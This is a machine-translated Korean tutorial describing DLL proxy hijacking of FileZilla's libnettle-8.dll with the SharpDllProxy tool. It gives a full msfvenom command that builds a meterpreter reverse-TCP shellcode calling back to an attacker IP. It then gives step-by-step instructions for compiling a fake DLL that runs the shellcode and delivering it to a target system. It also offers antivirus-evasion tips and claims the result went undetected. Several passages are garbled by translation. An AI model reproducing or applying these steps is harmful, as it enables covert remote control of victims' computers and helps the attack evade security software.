DLL Hijacking
Windows 7 버전 이후 시스템은 KnowDLL을 사용하여 레지스트리 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs에 있는 DLL을 관리합니다. 이 아래의 DLL 파일은 exe 자체가 있는 디렉터리에서 호출되는 것이 금지됩니다. 시스템 디렉터리(System32) 디렉터리에서만 호출할 수 있습니다. DLL 하이재킹의 이유는 모든 DLL이 레지스트리에 기록되지 않기 때문입니다.
msfvenom이 생성한 dll을 사용하여 직접 종료하세요.
SharpDllProxy
이름은 양말 프록시와 비슷합니다. 도구 출처: https://redteaming.co.uk/2020/07/12/dll-proxy-loading-your-favorite-c-implant/. 구체적인 구현은 이 사장님 블로그를 참고하셔도 됩니다.
머리말
먼저 동적 링크 라이브러리의 작동 원리를 이해하세요. 응용 프로그램 A가 동적 링크 라이브러리 DataFunctions.dll의 GetFunkyData() 함수를 사용하려는 경우 DataFunctions.dll 동적 링크 라이브러리를 로드해야 합니다. 이 도구는 이러한 고려 사항을 기반으로 하며 DataFunction.dll과 동일한 이름의 동적 링크 라이브러리를 생성합니다. 두 가지 기능이 있습니다. ① 모든 기능을 실제 동적 링크 라이브러리인 DataFunctions.dll로 전달하는 단축키를 만듭니다. 이름에 프록시의 출처를 기재합니다. ② 이 가짜 DataFunctions.dll에 쉘코드를 작성합니다. 첨부된 작성자의 원본 사진은 다음과 같습니다.
실험 과정
대상 프로그램
이 실험을 수행하는 데 시간이 좀 걸렸습니다. FileZilla 소프트웨어 등 로드해야 할 DLL을 찾는 방법은 무엇입니까? 저자가 말했듯이, 소프트웨어를 복사하면 무엇이 빠졌는지 알게 될 것입니다. 다음과 같습니다:
즉, 응용 프로그램을 실행하려면 DLL 파일을 로드해야 하므로 이 DLL에 대한 가짜 libnettle-8.dll을 만드세요.
쉘코드 생성
<br>
<br>
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.124.29 LPORT=4444 -f raw > shell.bin
실험이 시작됩니다
첫 번째 SharpDllProxy 다운로드: https:/ /github.com/Flangvik/SharpDllProxy 에서 컴파일한 후 Visual Studio 2019를 사용하여 컴파일합니다. Visual Studio 2017을 사용하고 오랫동안 다양한 오류를보고했기 때문에 다른 버전을 사용하지 마십시오.
vs 아래의 SharpDllProxy를 직접 사용하여 파일 열기 --> 솔루션 생성
SharpDllProxy.dll을 사용하여 가짜 libnettle-8.dll 파일을 만듭니다. 위 그림의 파일에 shell.bin과 위조해야 할 Dll을 넣어주세요. 다음 명령을 실행합니다. .SharpDllProxy.exe --dll libnettle-8.dll --payload shell.bin
생성된 파일에는 C 파일과 dll이 포함되어 있습니다. 이 dll 파일은 원본 libnettle-8.dll 파일입니다.
이 C 언어 프로그램을 분석해 보겠습니다. 9행부터 494행까지 실행해야 할 모든 기능은 처리를 위해 원본 DLL로 전달됩니다.
497번째 줄에 쉘코드를 삽입했습니다. 이것이 유일한 키 코드입니다. 실제로 쉘코드 shell.bin을 파일에 직접 작성할 수도 있으므로 의심스러운 파일의 수가 줄어듭니다. 여기서는 VirtualAlloc 메모리 연산을 통해 바이너리 모드에서 쉘코드를 읽고 실행합니다. 이때 스스로 호랑이처럼 작전을 펼칠 수도 있고, 쉘코드를 먼저 암호화한 뒤 복호화해 실행하는 등 로딩 방식을 바꾸는 등 다양한 안티 킬링 자세를 취할 수도 있다.
VS를 사용하여 위의 C 파일을 컴파일합니다. 파일 메뉴에서 새로 만들기를 선택한 다음 동적 링크 라이브러리 프로젝트를 선택하고 프로젝트 이름을 libnettle-8로 지정합니다. 위의 C 파일 코드를 VS에 복사하여 컴파일
위 3개 파일(tmpD475.dll, libnettle-8.dll, shell.bin)을 대상 시스템으로 보냅니다. msf를 사용하여 수신한 다음 프로그램을 실행하여 세션으로 돌아갑니다.
가장 일반적으로 사용되는 바이러스 백신 소프트웨어 사용: 360, Tinder 및 Safe Manager가 감지되지 않았습니다.
위 내용은 DLL 프록시 전달 및 Weiquan 분석을 수행하는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!